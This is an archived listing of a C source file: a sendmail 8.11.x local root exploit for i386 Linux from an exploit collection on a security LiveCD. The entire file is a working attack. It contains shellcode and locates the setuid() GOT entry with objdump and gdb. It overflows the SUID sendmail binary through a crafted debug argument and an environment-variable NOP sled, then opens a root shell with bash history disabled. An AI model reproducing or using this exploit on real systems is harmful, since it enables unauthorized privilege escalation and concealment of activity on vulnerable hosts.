home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / sendmail-8-11-x.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  354 lines

  1. /*
  2.  * sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet)
  3.  * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4.  * fixed by Marcin Bukowski <insect@insect.hack.pl>
  5.  *
  6.  * <insect> I'll change, and fix this code requested by friend
  7.  *          for him
  8.  *
  9.  * -d specify depth of analysis (32) [bigger = more time]
  10.  * -o change offset (-32000) [between 1000..-64000]
  11.  * -v specify victim (/usr/sbin/sendmail) [suided binary]
  12.  * -t specify temp directory (/tmp/.s11x)
  13.  *
  14.  * simply try to run an exploit without parameters
  15.  * ---------------------------------------------------------------
  16.  *
  17.  */
  18.  
  19.  
  20.  
  21. #include <stdio.h>
  22. #include <unistd.h>
  23. #include <stdlib.h>
  24. #include <strings.h>
  25. #include <netinet/in.h>
  26. #include <sys/socket.h>
  27. #include <signal.h>
  28. #include <wait.h>
  29. #include <sys/stat.h>
  30.  
  31. #define SM "/usr/sbin/sendmail"
  32.  
  33. #define OBJDUMP "objdump"
  34.  
  35. #define GDB "gdb"
  36.  
  37. #define GREP "grep"
  38.  
  39. #define COPYCMD "/bin/cp"
  40.  
  41. #define RMCMD "/bin/rm"
  42.  
  43. #define OURDIR "/tmp/.s11x"
  44.  
  45. #define DLINE \
  46. "%s -d %s 2> /dev/null | %s -B %d \
  47. \"mov.*%%.l,(%%e..,%%e..,1)\" |\
  48. %s \".mov.*0x80.*,%%e..\""
  49.  
  50. #define DLINEA OBJDUMP, vict, GREP, depth, GREP
  51.  
  52. #define BRUTE_DLINE \
  53. "%s -d %s 2> /dev/null | %s \
  54. \".mov.*0x80.*,%%e..\""
  55.  
  56. #define BRUTE_DLINEA OBJDUMP, vict, GREP
  57.  
  58. #define NOPLEN 32768
  59.  
  60. #define NOP 0x90
  61.  
  62. char shellcode[] =
  63. "\xeb\x0c\x5b\x31\xc0\x50\x89\xe1\x89"
  64. "\xe2\xb0\x0b\xcd\x80\xe8\xef\xff\xff\xff";
  65.  
  66. char scode[512];
  67.  
  68. char dvict[] = SM;
  69.  
  70. struct target {
  71.  uint off;
  72.  uint brk;
  73.  uint vect;
  74. };
  75.  
  76. unsigned int get_esp() {
  77.  __asm__("movl %esp,%eax");
  78. }
  79.  
  80. char ourdir[256] = OURDIR;
  81.  
  82. void giveup(int i) {
  83.  char buf[256];
  84.  sprintf(buf, "%s -rf %s > /dev/null 2> /dev/null",
  85.          RMCMD, ourdir);
  86.  system(buf);
  87. // printf("[*] removing temp directory - %s\n",
  88. //  ourdir);
  89.  if (i >= 0) exit(i);
  90. }
  91.  
  92. void sploit(char *victim, uint got, uint vect, uint ret) {
  93.  unsigned char egg[sizeof(scode) + NOPLEN + 5];
  94.  char s[512] = "-d";
  95.  char *argv[3];
  96.  char *envp[2];
  97.  uint first, last, i;
  98.  
  99.  strcpy(egg, "EGG=");
  100.  memset(egg + 4, NOP, NOPLEN);
  101.  strcpy(egg + 4 + NOPLEN, scode);
  102.  last = first = -vect - (0xffffffff - got + 1);
  103.  while (ret) {
  104.   char tmp[256];
  105.   i = ret & 0xff;
  106.   sprintf(tmp, "%u-%u.%u-", first, last, i);
  107.   strcat(s, tmp);
  108.   last = ++first;
  109.   ret = ret >> 8;
  110.  }
  111.  s[strlen(s) - 1] = 0;
  112.  argv[0] = victim;
  113.  argv[1] = s;
  114.  argv[2] = NULL;
  115.  envp[0] = egg;
  116.  envp[1] = NULL;
  117.  execve(victim, argv, envp);
  118. }
  119.  
  120. int use(char *s) {
  121.  printf("\n%s [command] [options]\n"
  122.         "-h this help\n"
  123.         "-d specify depth of analysis (32)\n"
  124.         "-o change offset (-32000)\n"
  125.         "-v specify victim (/usr/sbin/sendmail)\n"
  126.         "-t specify temp directory (/tmp/.s11x)\n"
  127.         "-b enables bruteforce (it can take 20-30 mins)\n", s);
  128.  return 1;
  129. }
  130.  
  131. int exploited = 0;
  132.  
  133. void sigusr(int i) {
  134.  exploited++;
  135.  giveup(-1);
  136. }
  137.  
  138. int main(int argc, char *argv[]) {
  139.  char victim[256] = SM;
  140.  char vict[256],gscr[256],
  141.       path[256],d[256],buf[256];
  142.  struct stat st;
  143.  FILE *f;
  144.  struct target t[1024];
  145.  uint off,ep,l;
  146.  int i,j,got,esp;
  147.  int offset = -16384;
  148.  int depth = 32;
  149.  int brute = 0;
  150.  
  151.  if (!*argv) {
  152.   dup2(2, 0);
  153.   dup2(2, 1);
  154.   setuid(0);
  155.   setgid(0);
  156.   kill(getppid(), SIGUSR1);
  157.   printf(
  158.    "------(*)>+== "
  159.    "ENTERING ROOT SHELL"
  160.    " ==+<(*)------"
  161.    );
  162.   fflush(stdout);
  163.   chdir("/");
  164.   setenv("PATH",
  165.    "/bin:/usr/bin:/usr/local/bin:"
  166.    "/sbin:/usr/sbin:/usr/local/sbin:"
  167.    "/opt/bin:${PATH}",1);
  168.   setenv("BASH_HISTORY",
  169.    "/dev/null", 1);
  170.   execl("/bin/bash", "-bash", NULL);
  171.  }
  172.  printf(
  173.   "  ------------------------------------------------\n"
  174.   "   Sendmail 8.11.x linux i386 exploit  \n"
  175.   "                  wroten by sd@sf.cz [sd@ircnet], \n"
  176.   "                   fixed by insect@insect.hack.pl \n"
  177.   "  ------------------------------------------------\n"
  178.   "   type \"%s -h\" to get help\n",argv[0]
  179.  );
  180.  
  181. while ((i=getopt(argc,argv,"hd:o:v:t:b"))!=EOF){
  182.  switch (i) {
  183.   case 'd':
  184.    if ((!optarg)||(sscanf(optarg,"%d",&depth)!=1))
  185.     return use(argv[0]);
  186.   break;
  187.   case 'o':
  188.    if ((!optarg)||(sscanf(optarg,"%d",&offset)!=1))
  189.     return use(argv[0]);
  190.   break;
  191.   case 'v':
  192.    if (!optarg)
  193.     return use(argv[0]);
  194.    strcpy(victim,optarg);
  195.   break;
  196.   case 't':
  197.    if (!optarg)
  198.     return use(argv[0]);
  199.    strcpy(ourdir, optarg);
  200.   break;
  201.   case 'b':
  202.    brute++;
  203.   break;
  204.   case 'h':
  205.   default:
  206.    return use(argv[0]);
  207.  }
  208. }
  209.  if (brute)
  210.   printf(
  211.    "[*] brute force "
  212.    "to 20-30mins\n");
  213.  path[0] = 0;
  214.  if (argv[0][0] != '/') {
  215.   getcwd(path, 256);
  216.  }
  217.  sprintf(scode, "%s%s/%s",
  218.     shellcode, path, argv[0]);
  219.  esp = get_esp();
  220.  close(0);
  221.  signal(SIGUSR1, sigusr);
  222.  giveup(-1);
  223.  printf(
  224.   " [Victim=%s][Depth=%d][Offset=%d]\n"
  225.   " [Temp=%s][Offset=%d][ESP=0x%08x]\n",
  226.    victim, depth, offset, ourdir, esp
  227.  );
  228. stat(victim, &st);
  229. if ((st.st_mode & S_ISUID) == 0) {
  230.  printf("[!] Error: %s doesn't have SUID mode\n",
  231.         victim);
  232. }
  233. if (access(victim, R_OK + X_OK + F_OK) < 0) {
  234.  printf("[!] Error: %s must exist, have mode +rx\n",
  235.         victim);
  236. }
  237. if (mkdir(ourdir, 0777) < 0) {
  238.  perror("[!] Error: creating temporary directory\n");
  239.  giveup(1);
  240. }
  241. //printf("[*] creating temp directory - %s\n",
  242. //      ourdir);
  243. sprintf(buf, "%s -R %s | %s setuid",
  244.         OBJDUMP, victim, GREP);
  245. f = popen(buf, "r");
  246. if (fscanf(f, "%x", &got) != 1) {
  247.  pclose(f);
  248.  printf("[!] Error: cannot get "
  249.         "setuid() GOT\n");
  250.  giveup(1);
  251. }
  252.  pclose(f);
  253.  printf("[*] --> Step 1. setuid() "
  254.         "[got=0x%08x]\n", got);
  255.  sprintf(vict, "%s/sm", ourdir);
  256.  printf("[*] --> Step 2. copy "
  257.         "[%s->%s]\n", victim, vict);
  258.  fflush(stdout);
  259.  sprintf(buf, "%s -f %s %s",
  260.          COPYCMD, victim, vict);
  261.  system(buf);
  262.  if (access(vict,R_OK+X_OK+F_OK)<0){
  263.   printf(
  264.    "[!] Error: copy victim to out temp\n");
  265.   giveup(1);
  266.  }
  267.  
  268.  printf(
  269.     "[*] --> Step 3. disassm our "
  270.     "[%s]\n", vict);
  271.  fflush(stdout);
  272.  if (!brute) {
  273.   sprintf(buf,DLINE,DLINEA);
  274.  } else {
  275.   sprintf(buf,BRUTE_DLINE,BRUTE_DLINEA);
  276.  }
  277.  f = popen(buf, "r");
  278.  i = 0;
  279.  while (fgets(buf,256,f)) {
  280.   int k, dontadd=0;
  281.   if (sscanf(buf,
  282.        "%x: %s %s %s %s %s %s 0x%x,%s\n",
  283.         &ep,d,d,d,d,d,d,&off,d)==9){
  284.    for (k=0;k<i;k++){
  285.     if (t[k].off==off)
  286.      dontadd++;
  287.    }
  288.    if (!dontadd) {
  289.     t[i].off = off;
  290.     t[i++].brk = ep;
  291.    }
  292.   }
  293.  }
  294.  pclose(f);
  295.  sprintf(gscr, "%s/gdb", ourdir);
  296.  off = 0;
  297.  for (j=0; j < i; j++) {
  298.   f = fopen(gscr, "w+");
  299.   if (!f) {
  300.    printf("[!] Error: Cannot create gdb script\n");
  301.    giveup(1);
  302.   }
  303.   fprintf(f,
  304.     "break *0x%x\nr -d1-1.1\nx/x 0x%x\n",
  305.     t[j].brk, t[j].off);
  306.   fclose(f);
  307.   sprintf(buf,
  308.     "%s -batch -x %s %s 2> /dev/null",
  309.     GDB, gscr, vict);
  310.   f = popen(buf, "r");
  311.   if (!f) {
  312.    printf("[!] Error: Failed to spawn gdb!\n");
  313.    giveup(1);
  314.   }
  315.   while (1) {
  316.    char buf[256];
  317.    char *p;
  318.    t[j].vect = 0;
  319.    p = fgets(buf, 256, f);
  320.    if (!p) break;
  321.    if (sscanf(p,"0x%x %s 0x%x",&ep,d,&l)==3){
  322.     t[j].vect = l;
  323.     off++;
  324.     break;
  325.    }
  326.   }
  327.   pclose(f);
  328.   if (t[j].vect) {
  329.    int pid;
  330.    printf(" ++[%d/%d](%d%%) "
  331.           "GOT=0x%08x,VECT=0x%08x,"
  332.           "OFF=%d\n", j, i, j*100/i,
  333.           got, t[j].vect, offset);
  334.    fflush(stdout);
  335.    pid = fork();
  336.    if (pid == 0) {
  337.     close(1);
  338.     sploit(victim,got,t[j].vect,esp+offset);
  339.    }
  340.    wait(NULL);
  341.    if (exploited) {
  342.     wait(NULL);
  343.     printf("        [-*-] We rule! BYE! [-*-]\n");
  344.     exit(0);
  345.    }
  346.   }
  347.  }
  348.  printf(
  349.   "[!] ERROR: all targets failed,"
  350.   "probably not buggie\n");
  351.  giveup(1);
  352. }
  353.  
  354.